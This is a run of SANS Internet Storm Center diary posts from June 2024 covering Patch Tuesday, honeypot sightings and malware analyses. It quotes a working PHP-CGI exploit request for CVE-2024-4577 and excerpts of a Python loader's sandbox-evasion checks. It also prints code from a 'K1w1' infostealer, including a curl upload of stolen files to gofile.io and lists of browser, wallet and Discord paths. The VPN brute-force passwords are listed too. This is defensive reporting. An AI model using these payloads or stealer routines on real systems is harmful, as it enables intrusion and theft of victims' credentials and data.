Microsoft Patch Tuesday June 2024, (Tue, Jun 11th)

Microsoft's June 2024 update fixes a total of 58 vulnerabilities. 7 of these vulnerabilities are associated with Chromium and Microsoft's Brave browser. Only one vulnerability is rated critical. One of the vulnerabilities had been disclosed before today.

Vulnerabilities of Interest:

CVE-2023-50868 NSEC closest enclosed proof can exhaust CPU: This issue became public in February. It affects not only Microsoft's DNS implementations but several other DNS servers. The vulnerability was made public by researchers from several German universities and research labs. They called it "KEYTRAP" and released a paper with details [1]

CVE-2024-30080 Microsoft Message Queuing (MSMQ) Remote Code Execution Vulnerability: MSMQ is the service that keeps on giving. The tricky part with MSMQ is that third party software often uses it. MSMQ usually listens on port %%port:1801%%/TCP. We do see a good amount of "background hum" on port 1801, and I do not see a good reason to expose it to the internet. 

 

[1] https://www.athene-center.de/en/keytrap

 

Description
CVE Disclosed Exploited Exploitability (old versions) current version Severity CVSS Base (AVG) CVSS Temporal (AVG)
Azure Identity Libraries and Microsoft Authentication Library Elevation of Privilege Vulnerability
%%cve:2024-35255%% No No - - Important 5.5 4.8
Azure Monitor Agent Elevation of Privilege Vulnerability
%%cve:2024-35254%% No No - - Important 7.1 6.2
Azure Science Virtual Machine (DSVM) Elevation of Privilege Vulnerability
%%cve:2024-37325%% No No - - Important 8.1 7.3
Azure Storage Movement Client Library Denial of Service Vulnerability
%%cve:2024-35252%% No No - - Important 7.5 6.5
Chromium: CVE-2024-5493 Heap buffer overflow in WebRTC
%%cve:2024-5493%% No No - - -    
Chromium: CVE-2024-5494 Use after free in Dawn
%%cve:2024-5494%% No No - - -    
Chromium: CVE-2024-5495 Use after free in Dawn
%%cve:2024-5495%% No No - - -    
Chromium: CVE-2024-5496 Use after free in Media Session
%%cve:2024-5496%% No No - - -    
Chromium: CVE-2024-5497 Out of bounds memory access in Keyboard Inputs
%%cve:2024-5497%% No No - - -    
Chromium: CVE-2024-5498 Use after free in Presentation API
%%cve:2024-5498%% No No - - -    
Chromium: CVE-2024-5499 Out of bounds write in Streams API
%%cve:2024-5499%% No No - - -    
DHCP Server Service Denial of Service Vulnerability
%%cve:2024-30070%% No No - - Important 7.5 6.7
GitHub: CVE-2024-29187 WiX Burn-based bundles are vulnerable to binary hijack when run as SYSTEM
%%cve:2024-29187%% No No - - Important 7.3 6.4
MITRE: CVE-2023-50868 NSEC3 closest encloser proof can exhaust CPU
%%cve:2023-50868%% Yes No - - Important 7.5 6.5
Microsoft Azure File Sync Elevation of Privilege Vulnerability
%%cve:2024-35253%% No No - - Important 4.4 4.2
Microsoft Dynamics 365 (On-Premises) Information Disclosure Vulnerability
%%cve:2024-35263%% No No - - Important 5.7 5.0
Microsoft Dynamics 365 Business Central Elevation of Privilege Vulnerability
%%cve:2024-35248%% No No - - Important 7.3 6.4
Microsoft Dynamics 365 Business Central Remote Code Execution Vulnerability
%%cve:2024-35249%% No No - - Important 8.8 7.7
Microsoft Event Trace Log File Parsing Remote Code Execution Vulnerability
%%cve:2024-30072%% No No - - Important 7.8 6.8
Microsoft Message Queuing (MSMQ) Remote Code Execution Vulnerability
%%cve:2024-30080%% No No - - Critical 9.8 8.5
Microsoft Office Remote Code Execution Vulnerability
%%cve:2024-30101%% No No - - Important 7.5 6.5
%%cve:2024-30102%% No No - - Important 7.3 6.4
%%cve:2024-30104%% No No - - Important 7.8 6.8
Microsoft Outlook Remote Code Execution Vulnerability
%%cve:2024-30103%% No No - - Important 8.8 7.7
Microsoft SharePoint Server Remote Code Execution Vulnerability
%%cve:2024-30100%% No No - - Important 7.8 6.8
Microsoft Speech Application Programming Interface (SAPI) Remote Code Execution Vulnerability
%%cve:2024-30097%% No No Less Likely Less Likely Important 8.8 7.7
Microsoft Streaming Service Elevation of Privilege Vulnerability
%%cve:2024-30089%% No No - - Important 7.8 6.8
%%cve:2024-30090%% No No - - Important 7.0 6.1
Visual Studio Elevation of Privilege Vulnerability
%%cve:2024-29060%% No No - - Important 6.7 5.8
Visual Studio Remote Code Execution Vulnerability
%%cve:2024-30052%% No No - - Important 4.7 4.1
Win32k Elevation of Privilege Vulnerability
%%cve:2024-30082%% No No - - Important 7.8 6.8
%%cve:2024-30087%% No No - - Important 7.8 6.8
%%cve:2024-30091%% No No - - Important 7.8 7.0
Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability
%%cve:2024-30085%% No No - - Important 7.8 7.0
Windows Container Manager Service Elevation of Privilege Vulnerability
%%cve:2024-30076%% No No - - Important 6.8 5.9
Windows Cryptographic Services Information Disclosure Vulnerability
%%cve:2024-30096%% No No - - Important 5.5 4.8
Windows Distributed File System (DFS) Remote Code Execution Vulnerability
%%cve:2024-30063%% No No - - Important 6.7 5.8
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2024-30064%% No No - - Important 8.8 7.7
%%cve:2024-30068%% No No - - Important 8.8 7.7
%%cve:2024-30088%% No No - - Important 7.0 6.3
%%cve:2024-30099%% No No - - Important 7.0 6.3
Windows Kernel-Mode Driver Elevation of Privilege Vulnerability
%%cve:2024-35250%% No No - - Important 7.8 6.8
%%cve:2024-30084%% No No - - Important 7.0 6.1
Windows Link Layer Topology Discovery Protocol Remote Code Execution Vulnerability
%%cve:2024-30074%% No No - - Important 8.0 7.2
%%cve:2024-30075%% No No - - Important 8.0 7.0
Windows OLE Remote Code Execution Vulnerability
%%cve:2024-30077%% No No - - Important 8.0 7.0
Windows Perception Service Elevation of Privilege Vulnerability
%%cve:2024-35265%% No No - - Important 7.0 6.1
Windows Remote Access Connection Manager Information Disclosure Vulnerability
%%cve:2024-30069%% No No - - Important 4.7 4.1
Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability
%%cve:2024-30094%% No No - - Important 7.8 6.8
%%cve:2024-30095%% No No - - Important 7.8 6.8
Windows Standards-Based Storage Management Service Denial of Service Vulnerability
%%cve:2024-30083%% No No - - Important 7.5 6.5
Windows Standards-Based Storage Management Service Remote Code Execution Vulnerability
%%cve:2024-30062%% No No - - Important 7.8 7.0
Windows Storage Elevation of Privilege Vulnerability
%%cve:2024-30093%% No No - - Important 7.3 6.4
Windows Themes Denial of Service Vulnerability
%%cve:2024-30065%% No No - - Important 5.5 4.8
Windows Wi-Fi Driver Remote Code Execution Vulnerability
%%cve:2024-30078%% No No - - Important 8.8 7.7
Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability
%%cve:2024-30086%% No No - - Important 7.8 6.8
Winlogon Elevation of Privilege Vulnerability
%%cve:2024-30066%% No No - - Important 5.5 4.8
%%cve:2024-30067%% No No - - Important 5.5 4.8

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Attacker Probing for New PHP Vulnerablity CVE-2024-4577, (Sun, Jun 9th)

Our honeypots have detected the first probes for CVE-2024-4577. This vulnerability was originally discovered by Orange Tsai on Friday (June 7th) [1][2]. Watchtwr labs followed up with a detailed blog post and a proof of concept exploit [3].

Watchtwr Labs says PHP is only vulnerable if used in CGI mode in Chinese and Japanese locales. According to Orange Tsai, other locales may be vulnerable as well.

In CGI mode on Windows, the web server will execute "php.exe" and pass user-supplied parameters as command line or environment variables. This may potentially lead to OS command injection, a vulnerability I just covered last week in a video [4].

As parameters are passed from Apache to the command line, Apache will escape hyphens and render them harmless. However, an attacker may provide a "soft hyphen" (Unicode code point 0x00AD). PHP performs "best fit mapping" on characters passed on the command line, translating it to a dash. This allows an attacker to bypass the Apache escape process, and inject dashes. With that, an attacker can supply command line arguments to php.exe. A possibly choice outlined by Watchtwr is:

-d allow_url_include=1 -d auto_prepend_file=php://input

This will prepend the body of a POST request, leading to PHP code execution.

The exploit I have seen so far matches that pattern:

POST /php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: [honeypot IP address redacted]
User-Agent: Go-http-client/1.1
Content-Length: 26
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

<?php die(md5(124*234));?>

 

This type of hash calculation is typical for verifying PHP vulnerabilities. In itself, it does not cause problems, but it may be used to find vulnerable systems for further exploitation.

One IP address I have seen use this scan is %%ip:79.124.49.158%%. This IP address has been active in our logs since March and has attempted other PHP-related exploits.

Last week, PHP released updates for currently supported versions, addressing this vulnerability. 

[1] https://x.com/orange_8361/status/1798919363376066781
[2] https://blog.orange.tw/2024/06/cve-2024-4577-yet-another-php-rce.html
[3] https://labs.watchtowr.com/no-way-php-strikes-again-cve-2024-4577/
[4] https://www.youtube.com/watch?v=7QDO3pZbum8

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Finding End of Support Dates: UK PTSI Regulation, (Fri, Jun 7th)

One of the challenges with many IoT devices, in particular those targeting consumers and small businesses, is the ability to find how long a device is supported. This "expiration date" is becoming important as vulnerabilities are often discovered after a product no longer receives updates. In this case, users are often out of luck and left with a vulnerable device. Manufacturers will often not even acknowledge the vulnerability or provide notifications to users.

This will also make it difficult buying a device. It is often not clear what the "expiration date" of the device will be, and in some cases, you may purchase a device that no longer receives any updates.

Luckily, the UK government is here to help. As of April, any supplier of internet-connected devices in the UK must file a "Declaration of Compliance" with the UK's Office of Office for Product Safety & Standards [1]. Failing to do so can lead to hefty fines. The statement must include the minimum support period for the device. The same regulation also requires unique passwords and contact information to report vulnerabilities. 

Sadly, I haven't found a simple database to look up this declaration of compliance, but vendors post it on their websites. The regulation also states that the statement of compliance must accompany the product. But when you buy and open the product, it may be too late. Vendors may include this statement outside of the UK for simplicity, as you often find a long list of compliance statements for various locations included. Still, there is no guarantee that vendors will do this.

However, many vendors choose to make these statements public on their website. I collected below a few from popular vendors:

Supplier Statement URL
Apple https://regulatoryinfo.apple.com/ukpsti
Asus https://www.asus.com/support/faq/1051929/
GL.Inet https://www.gl-inet.com/psti/
GoPro https://gopro.com/en/us/legal/uk-psti-compliance
Google https://support.google.com/product-documentation/answer/14869041?hl=en
Lenovo https://www.lenovo.com/us/outletus/en/compliance/uk-psti-soc/
Linksys https://downloads.linksys.com/support/assets/others/UK_PTSI_Statement_of_Compliance_w_products.pdf
Motorola https://en-gb.support.motorola.com/app/answers/detail/a_id/178271/~/uk-psti
Netgear https://kb.netgear.com/000066102/UK-PSTI-Declaration-of-Conformity
Philips https://www.documents.philips.com/assets/UK%20Declaration%20of%20Conformity/20240530/78360cfd353b45bd944eb180001d9832.pdf
Samsung https://news.samsung.com/uk/notice-new-uk-product-security-and-telecommunications-infrastructure-psti-law
TP-Link https://www.tp-link.com/uk/support/psti/

 

Please let me know if you know of a better database that lists the compliance statements. For example, I could not find one for Ubiquity (Unifi). However, I believe they are still using the default password "ubnt" which puts them out of compliance.

I recommend labeling new devices with the purchase date and the end of support date as you receive them. The purchase date is good to have handy for warranty purposes, and the end of support date is important to know when you will have to replace the device.

[1] https://www.gov.uk/government/publications/the-uk-product-security-and-telecommunications-infrastructure-product-security-regime
 

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Malicious Python Script with a "Best Before" Date, (Thu, Jun 6th)

When you buy some fresh food, it's always a good idea to keep an eye on the best-before date. I found a funny piece of malicious Python script that implements the same technique. It will execute only before a specified date (Jun 10th in this case). The script purpose is classic: it will fetch a payload from a remote site, inject it in memory and start a new thread. Such payload are usually related to CobaltStike. I think that the script is still being developed and the attacker tested its score on VT because the payload is fetched from an RFC1918 IP address.

I won't cover the code injection part because it's super common: 

  1. Allocate some memory with VirtualAlloc() and 0x40 (PAGE_EXECUTE_READWRITE)
  2. Copy the payload in the newly allocated memory with RtlMoveMemory()
  3. Launch if with CreateThread() and WaitForSingleObject()

The most interesting part is related to the anti-VM and anti-debugging techniques. The script implements multiple checks.

First, as said in the title, it has an expiration date and won't detonate after it:

YLtsrDkSMJIUX = datetime.now()
tOyPJeSBB = datetime.strptime("24-06-10","%y-%m-%d") 
if YLtsrDkSMJIUX < tOyPJeSBB:

Then, it detects if a user is using the mouse:

sPrMcMrd = 0
ZSAdShMGbnjn = 300
while sPrMcMrd < ZSAdShMGbnjn:
    lhCIIwcaO = win32api.GetAsyncKeyState(1)
    PUlVQpUUGQwz = win32api.GetAsyncKeyState(2)
    if lhCIIwcaO % 2 == 1:
        sPrMcMrd += 1
    if PUlVQpUUGQwz % 2 == 1:
        sPrMcMrd += 1
if sPrMcMrd >= ZSAdShMGbnjn:

GetAsyncKeyState() is used to detect if the user presses some keys but this API call can do more. If you pass the keycodes 0x01 or 0x02, you will test if, respectively, the left and right mouse button is used[1].

Then,  it detects if the mouse is moving:

SJlEvm, OsmSmAnVBYAbB = win32api.GetCursorPos()
sleep(30)
mCBvRLEZPc, FTIUWfDRINwDu = win32api.GetCursorPos()
if SJlEvm - mCBvRLEZPc != 0 or OsmSmAnVBYAbB - FTIUWfDRINwDu != 0:

Why checling the mouse position if we already detected a "click"? Some old sandboxes just move the mouse or simulate click but not both. 

The system timezone is also checked:

import time as eJXueV
if eJXueV.tzname[0] != "Coordinated Universal Time" and eJXueV.tzname[1] != "Coordinated Universal Time":

Finally, some sandboxes manipulate the system clock. For bypass this, the script tests the time via NTP:

client = socket.socket(AF_INET, SOCK_DGRAM)
client.sendto((bytes.fromhex("1b") + 47 * bytes.fromhex("01")), ("us.pool.ntp.org",123))
msg, address = client.recvfrom( 1024 )
trdooQNWRx = datetime.datetime.fromtimestamp(struct.unpack("!12I",msg)[10] - 2208988800)
sleep(1500)
client.sendto((bytes.fromhex("1b") + 47 * bytes.fromhex("01")), ("us.pool.ntp.org",123))
msg, address = client.recvfrom( 1024 )
if ((datetime.datetime.fromtimestamp((struct.unpack("!12I",msg)[10] - 2208988800)) - trdooQNWRx).seconds >= 1500):

If all these conditions are met, the payload is fetched and injected in memory.

To fetch the payload, a random 4-characters string is added as URI:

def uwvPCLCq(s): return sum([ord(ch) for ch in s]) % 0x100
def eZXAAmANKYtzQ():
    for x in range(64):
         afeookOu = ''.join(random.sample(string.ascii_letters + string.digits,3))
         wOozSRtIoWO = ''.join(sorted(list(string.ascii_letters+string.digits), key=lambda *args: random.random()))
         for BuJqgEjrd in wOozSRtIoWO:
             if uwvPCLCq(afeookOu + BuJqgEjrd) == 92: return afeookOu + BuJqgEjrd

Here is an example:

>>> eZXAAmANKYtzQ()
'9XuV'
>>> eZXAAmANKYtzQ()
'NOpO'
>>> eZXAAmANKYtzQ()
'ETqR'

This looks exactly like a default CobaltStrike beacon! The script has currently a score of 12/71 on VT (SHA256: eca1cd9ce317ada991e0a037e70c15e471e9076faa58adf682efbfe22ffa747f[2])

[1] https://learn.microsoft.com/en-us/windows/win32/inputdev/virtual-key-codes
[2] https://www.virustotal.com/gui/file/eca1cd9ce317ada991e0a037e70c15e471e9076faa58adf682efbfe22ffa747f

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Brute Force Attacks Against Watchguard VPN Endpoints, (Wed, Jun 5th)

If you have a pulse and work in information security (or are a new scraping script without a pulse), you have probably seen reports of attacks against VPN endpoints. Running any VPN without strong authentication has been negligent for years, but in recent times, ransomware gangs, in particular, picked them off pretty quickly.

One of our honeypots just saw an attacker move through, attempting to brute force a Watchguard firewall VPN. I haven't seen much written about Watchguard lately, so I figured this may be a good reminder. The requests I was seeing against one honeypot in particular:

 

POST /wgcgi.cgi HTTP/1.1\
Host: [honeypot IP address redacted]:4443
Content-Type: application/x-www-form-urlencoded
Content-Length: 109

fw_username=robert&fw_password=123456a%21&submit=Login&action=sslvpn_web_logon&fw_logon_type=logon&lang=en-US

Note the bare-bones headers without a user agent, suggesting a simple script to be used for these attacks.

The main source of these attacks so far has been %%ip:185.122.204.102%%. In February, this IP address hit a couple of other URLs, such as login.

Interestingly, so far, I have seen only two usernames being used: "jason" and "robert". Not sure why this is significant.

The list of passwords is a bit longer:
 

1
123%40secure
123456
1234567
123456a%21
1qazxsw23edc%21
%24ecure%40123
32Yp6jan
456%40%23pass%40
admin
Admin1234
admin2
Admin%4012345
ASDqwe%40123
itsupport
letmein
P%40ss0wrd
P%40ss1234
P%40ssw0rd
P%40ssw0rd12345
P%40ssw0rduser1
P%40zzw0rd%21123
Pa%24%24word%231
Pa55word
pass2828
password
Password01%21
password4321
qweasdzxc
sslvpn
sslvpnuser
Test123%21
vpn%40dmin
VPNgrp
Welcome123%21
Welcome2020%21
Welcome2%2B

You may want to block the use of any of these passwords and add them to your brute force list.

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

No-Defender, Yes-Defender, (Tue, Jun 4th)

This is a guest diary by John Moutos

Recently I was made aware of a neat utility (https://github.com/es3n1n/no-defender/) which provides the capability to disable Windows Defender by abusing the WSC (Windows Security Center) registration that other AV and EDR providers utilize to become the main provider on systems, mostly to avoid conflict with Windows Defender.

It does this by abusing the middle-man WSC proxy app Avast bundles with their software, which provides access to the necessary WSC APIs for registration, and registers itself as an fraudulent AV provider, forcing Defender to step down (periodic scanning will still function if enabled manually).

As with all utilities that have the potential to aid in defense evasion, this will eventually make the rounds with active threat groups, until it is deemed obsolete or no longer viable.

To detect usage of this or similar tools, monitoring the “SecurityCenter” Windows event log for event ID 15 is ideal. This can help identify if an unwanted application registered and enabled itself as a security provider in place of Defender.

xml from security center

Figure 1: Triggered Event

Additionally, blocking the Avast signing certificate through an AppLocker publisher rule could also help hinder use of the tool.

applocker deny rule

At the time of writing, EDR and AV vendors are picking up on this quickly, as evidenced by the threat label in VirusTotal and the increasing detection count.

no devender loader detection

Figure 3: No-defender Loader detection [2]

no defender detection

Figure 4: No-defender Detection[3]

Also included is a Yara rule to detect the Avast WSC Proxy components. Hash rules may be sufficient, but older versions of the components may also be equally vulnerable to abuse.

Yara Rule

import "pe"

rule nodefender_avastwsc
{
   meta:
      description = "Avast wsc proxy components used by no-defender"
  hash = "79e53d36a40951ab328e153bac9c1e3adf3330b45899345e645889b9046f06e0"
  hash = "de820b5e592cf456f6a4f8356195c4a335a51c6354ca7ac32ccd390e62d9becc"
   strings:
        $a1 = "Avast Software s.r.o" nocase
  $a2 = "Cannot enable RPC marshaling into service when Avast client integration is not set" nocase
  $a3 = {77 00 73 00 63 00 2E 00 64 00 6C 00 6C 00 00 00 72 75 6E}
  $a4 = "BUILDS\\Release\\x64\\wsc_proxy.pdb" nocase
  $s1 = {09 02 B3 6B 32 51 C3 28 08 3F 77 7C A0 84 28 FF}
  $s2 = {03 F0 2A CA 05 1D 1C 93 30 EE AB D3 70 6E 83 6F}
   condition:
      uint16(0) == 0x5a4d
      and $a1 and ($s1 or $s2) and ($a2 or $a3 or $a4)
      and for any i in (0 .. pe.number_of_signatures) : (
         (pe.signatures[i].issuer contains "DigiCert High Assurance Code Signing CA-1"
 or pe.signatures[i].issuer contains "DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1")
 and pe.signatures[i].subject contains "Avast"
      )
}

References:

[1] https://github.com/es3n1n/no-defender
[2] https://www.virustotal.com/gui/file/f4652a2073f72a1fc64dfc08a3a56c258f30cc4737ab9feefb602d54ec4c68b5
[3] https://www.virustotal.com/gui/file/54fc10e6f2675adb1e712ab7afd0d8e1a561b0fbebc7aa0d3fcf90c09a9597a6
 

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

A Wireshark Lua Dissector for Fixed Field Length Protocols, (Mon, Jun 3rd)

I developed a Wireshark dissector in Lua to parse binary protocols (over TCP) that are composed of fields with fixed lengths. I got this idea while taking a SANS ICS training: for protocol reversing, it would be useful to have a dissector where I can configure the fields (length, type, name, ...).

As an example, I'm using a packet capture of a demo protocol for firmware upload (didactic).

The format of the protocol data unit (PDU) looks like this:

  • Byte 1: the function of the PDU (0x10 start upload, 0x11 upload, 0x12 end upload)
  • Byte 2: the direction (0 from client to server, 1 from server to client)
  • Byte 3 and 4: a PDU counter for uploads, it's a little-endian integer
  • Byte 5 and 6: the length of the uploaded data, it's a little-endian integer
  • Bytes 7 and following: the uploaded data

Command-line arguments are provided to configure the Lua dissector to parse this traffic:

"c:\Program Files\Wireshark\Wireshark.exe" -X lua_script:fl-dissector.lua -X lua_script1:port:50500 -X lua_script1:protocolname:firmware -X lua_script1:fieldlengths:1:B,1:B,2:L,2:L -X lua_script1:fieldnames:Function,Direction,Counter,DataLength,Data capture-firmware-upload.pcapng

"-X lua_script:fl-dissector.lua" loads dissector fl-dissector.lua in Wireshark.

"-X lua_script1:port:50500" provides a port:50500 option value to the dissector. This specifies the TCP port (50500) of the traffic that should be dissected.

"-X lua_script1:protocolname:firmware" specifies the name of the protocol.

"-X lua_script1:fieldlengths:1:B,1:B,2:L,2:L" specifies the field lengths: 1 byte, 1 byte, 2 bytes and 2 bytes. The 2 bytes fields are little-endian integers (:L).

"-X lua_script1:fieldnames:Function,Direction,Counter,DataLength,Data" specifies the names of the fields.

Configured like this, the protocol "firmware" is added to Wireshark and used for dissecting traffic over TCP port 50500:

Once the dissector is defined, it can be used to filter traffic. For example, in the above screenshot, I use display filter "firmware" to limit the view to this firmware protocol.

I can even use tshark to extract the uploaded firmware. For this, I switch to tshark:

"c:\Program Files\Wireshark\tshark.exe" -X lua_script:fl-dissector.lua -X lua_script1:protocolname:firmware -X lua_script1:port:50500 -X lua_script1:fieldlengths:1,1,2,2 -X lua_script1:fieldnames:Function,Direction,Counter,DataLength,Data -r capture-firmware-upload.pcapng -Y "(firmware.Function == 0x11) && (firmware.Direction == 0)" -e firmware.Data -Tfields

The arguments for the dissector are the same. I use a display filter (-Y "(firmware.Function == 0x11) && (firmware.Direction == 0)") to filter for PDUs that upload the firmware (function == 0x11) to the server (direction == 0). I configure tshark to just output the value of field data as hexadecimal (-e firmware.Data -Tfields). This is the result:

Next, I convert this hexadecimal data to binary with my tool hex-to-bin.py, and use another tool (file-magic.py) to try to identify the uploaded data:

It is a ZIP file, this can be confirmed with my zipdump.py tool:

I created this packet capture file of a firmware upload to an IoT device for didactic purposes, e.g., to explain a process of reverse engineering a binary network protocol.

If you want to know more about this, take a look at my blog post "Reversing A Network Protocol" and YouTube video "Reversing A Network Protocol".

YouTube Video

Didier Stevens
Senior handler
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

"K1w1" InfoStealer Uses gofile.io for Exfiltration, (Fri, May 31st)

Python remains a nice language for attackers and I keep finding interesting scripts that are usually not very well detected by antivirus solutions. The one I found has a VT score of 7/65! (SHA256:a6230d4d00a9d8ecaf5133b02d9b61fe78283ac4826a8346b72b4482d9aab54c[1]). I decided to call it "k1w1" infostealer because this string is referenced in many variable and function names. The script has classic infostealer capabilities to find interesting pieces of data on the victim's computer but has some interesting techniques. 

First, it uses gofile.io to exfiltrate data:

try:gofileserver = loads(urlopen("https://api.gofile.io/getServer").read().decode('utf-8'))["data"]["server"]
except:gofileserver = "store4"

gofile.io is a popular online storage management[2]. Collected data are uploaded:

def UP104D7060F113(path):
    try:
        r = subprocess.Popen(f"curl -F \"file=@{path}\" https://{gofileserver}.gofile.io/uploadFile", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate()
        return loads(r[0].decode('utf-8'))["data"]["downloadPage"]
    except: return False

gofile.io provides guest access with sufficient capabilities to upload files and keep them available for a few days. Once uploaded a download link is returned in JSON data. All links are shared on a Discord channel.

Besides the classic information, this infostealer also searches for "keywords" in the victim's files from common directories:

def K1W1():
    user = temp.split("\AppData")[0]
    path2search = [
        user    + "/Desktop",
        user    + "/Downloads",
        user    + "/Documents",
        roaming + "/Microsoft/Windows/Recent",
    ]

    key_wordsFiles = [
        "passw",
        "mdp",
        "motdepasse",
        "mot_de_passe",
        "login",
        "secret",
        "bot",
        "atomic",
        "account",
        "acount",
        "paypal",
        "banque",
        "bot",
        "metamask",
        "wallet",
        "crypto",
        "exodus",
        "discord",
        "2fa",
        "code",
        "memo",
        "compte",
        "token",
        "backup",
        "secret",
        "seed",
        "mnemonic"
        "memoric",
        "private",
        "key",
        "passphrase",
        "pass",
        "phrase",
        "steal",
        "bank",
        "info",
        "casino",
        "prv",
        "privé",
        "prive",
        "telegram",
        "identifiant",
        "personnel",
        "trading"
        "bitcoin",
        "sauvegarde",
        "funds",
        "récupé",
        "recup",
        "note",
    ]

    wikith = []
    for patt in path2search: 
        kiwi = threading.Thread(target=K1W1F113, args=[patt, key_wordsFiles])
        kiwi.start()
        wikith.append(kiwi)
    return wikith

You can see many French keywords. We can assume that the script targets French-speaking victims.

Classic applications are targeted:

   br0W53rP47H5 = [    
        [f"{roaming}/Opera Software/Opera GX Stable",               "opera.exe",        "/Local Storage/leveldb",           "/",             "/Network",             "/Local Extension Settings/"                      ],
        [f"{roaming}/Opera Software/Opera Stable",                  "opera.exe",        "/Local Storage/leveldb",           "/",             "/Network",             "/Local Extension Settings/"                      ],
        [f"{roaming}/Opera Software/Opera Neon/User Data/Default",  "opera.exe",        "/Local Storage/leveldb",           "/",             "/Network",             "/Local Extension Settings/"                      ],
        [f"{local}/Google/Chrome/User Data",                        "chrome.exe",       "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/Default/Local Extension Settings/"              ],
        [f"{local}/Google/Chrome SxS/User Data",                    "chrome.exe",       "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/Default/Local Extension Settings/"              ],
        [f"{local}/Google/Chrome Beta/User Data",                   "chrome.exe",       "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/Default/Local Extension Settings/"              ],
        [f"{local}/Google/Chrome Dev/User Data",                    "chrome.exe",       "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/Default/Local Extension Settings/"              ],
        [f"{local}/Google/Chrome Unstable/User Data",               "chrome.exe",       "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/Default/Local Extension Settings/"              ],
        [f"{local}/Google/Chrome Canary/User Data",                 "chrome.exe",       "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/Default/Local Extension Settings/"              ],
        [f"{local}/BraveSoftware/Brave-Browser/User Data",          "brave.exe",        "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/Default/Local Extension Settings/"              ],
        [f"{local}/Vivaldi/User Data",                              "vivaldi.exe",      "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/Default/Local Extension Settings/"              ],
        [f"{local}/Yandex/YandexBrowser/User Data",                 "yandex.exe",       "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/HougaBouga/"                                    ],
        [f"{local}/Yandex/YandexBrowserCanary/User Data",           "yandex.exe",       "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/HougaBouga/"                                    ],
        [f"{local}/Yandex/YandexBrowserDeveloper/User Data",        "yandex.exe",       "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/HougaBouga/"                                    ],
        [f"{local}/Yandex/YandexBrowserBeta/User Data",             "yandex.exe",       "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/HougaBouga/"                                    ],
        [f"{local}/Yandex/YandexBrowserTech/User Data",             "yandex.exe",       "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/HougaBouga/"                                    ],
        [f"{local}/Yandex/YandexBrowserSxS/User Data",              "yandex.exe",       "/Default/Local Storage/leveldb",   "/Default/",     "/Default/Network",     "/HougaBouga/"                                    ],
        [f"{local}/Microsoft/Edge/User Data",                       "edge.exe",         "/Default/Local Storage/leveldb",   "/Default",      "/Default/Network",     "/Default/Local Extension Settings/"              ]
    ]
    d15C0rDP47H5 = [
        [f"{roaming}/discord",          "/Local Storage/leveldb"],
        [f"{roaming}/Lightcord",        "/Local Storage/leveldb"],
        [f"{roaming}/discordcanary",    "/Local Storage/leveldb"],
        [f"{roaming}/discordptb",       "/Local Storage/leveldb"],
    ]

    p47H570Z1P = [
        [f"{roaming}/atomic/Local Storage/leveldb",                             "Atomic Wallet.exe",        "Wallet"        ],
        [f"{roaming}/Guarda/Local Storage/leveldb",                             "Guarda.exe",               "Wallet"        ],
        [f"{roaming}/Zcash",                                                    "Zcash.exe",                "Wallet"        ],
        [f"{roaming}/Armory",                                                   "Armory.exe",               "Wallet"        ],
        [f"{roaming}/bytecoin",                                                 "bytecoin.exe",             "Wallet"        ],
        [f"{roaming}/Exodus/exodus.wallet",                                     "Exodus.exe",               "Wallet"        ],
        [f"{roaming}/Binance/Local Storage/leveldb",                            "Binance.exe",              "Wallet"        ],
        [f"{roaming}/com.liberty.jaxx/IndexedDB/file__0.indexeddb.leveldb",     "Jaxx.exe",                 "Wallet"        ],
        [f"{roaming}/Electrum/wallets",                                         "Electrum.exe",             "Wallet"        ],
        [f"{roaming}/Coinomi/Coinomi/wallets",                                  "Coinomi.exe",              "Wallet"        ],
        ["C:\Program Files (x86)\Steam\config",                                 "steam.exe",                "Steam"         ],
        [f"{local}/Riot Games/Riot Client/Data",                                "RiotClientServices.exe",   "RiotClient"    ],
    ]
    t3136r4M = [f"{roaming}/Telegram Desktop/tdata", 'Telegram.exe', "Telegram"]

If found also some injection in Discord files:

def inj3c710n():

    username = os.getlogin()

    folder_list = ['Discord', 'DiscordCanary', 'DiscordPTB', 'DiscordDevelopment']

    for folder_name in folder_list:
